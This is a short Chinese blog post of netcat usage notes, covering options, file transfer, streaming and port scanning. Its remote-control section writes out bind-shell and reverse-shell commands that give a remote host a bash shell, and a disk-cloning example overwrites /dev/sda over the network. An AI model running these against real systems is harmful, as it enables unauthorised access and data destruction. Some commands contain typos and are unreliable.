i007.cc

i007.cc

优先队列-降维打击

Linux 小工具 NC 笔记

原文地址

 

nc: 传说中是网络工具中的瑞士军刀,其体积小,但功能多,命令行工具

如下为参数说明:

  1. -n: 后边跟IP地址,若是域名不会进行dns解析
  2. -v: 显示详细信息,使用两次更详细
  3. -l: 监听模式
  4. -p port: 指定端口
  5. -q secs: 当命令执行完成后,等待 secs 秒退出
  6. -z: 无I/O模式,扫描时用
  7. -u: udp模式
  8. -c shell commands: 使用shell执行 命令(bash 打开bash命令,即可不断执行命令, Win下为cmd)
  9. -e filename: 运行指定程序
  10. -h: 显示帮助信息

例子:

侦听模式/传输模式

nc -lp 4444: 用作服务端,监听4444端口(通过这个命令可以使其他主机telnet, 实现两台主机通信)

telnet/获取banner信息

nc -nv 1.1.1.1 80– telnet 目标ip的80端口

传输文本信息

一端侦听,一端telnet即可

传输文件/目录

文件:

A: nc -lp 333 > 1.mp4

B: nc -nv 192.168.60.152 333 < 1.mpr -q 1

目录:

A: tar -cvf -music/ | nc -lp 333 -q 1

B: nc -nv 192.168.60.152 | tar -xvf –

远程控制

正向:

A(被控端): nc -lp 333 -c bash

B: nc -nv 1.1.1.1 333

反向:

A:nc -lp 333

B(被控端):nc -nv 1.1.1.1 333 -c bash

流媒体服务器

A: cat 1.mp4 | nc -lp 333

B: nc -nv 192.168.60.130 333 | mplayer -vo xll -cache 3000 –

远程克隆硬盘

A: nc -lp 333 | dd of=/dev/sda

B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -1 1

端口扫描

nc -nvz 1.1.1.1 1-65535扫描指定IP的指定端口段

nc –vnzu 1.1.1.1 1-1024udp扫描

发表回复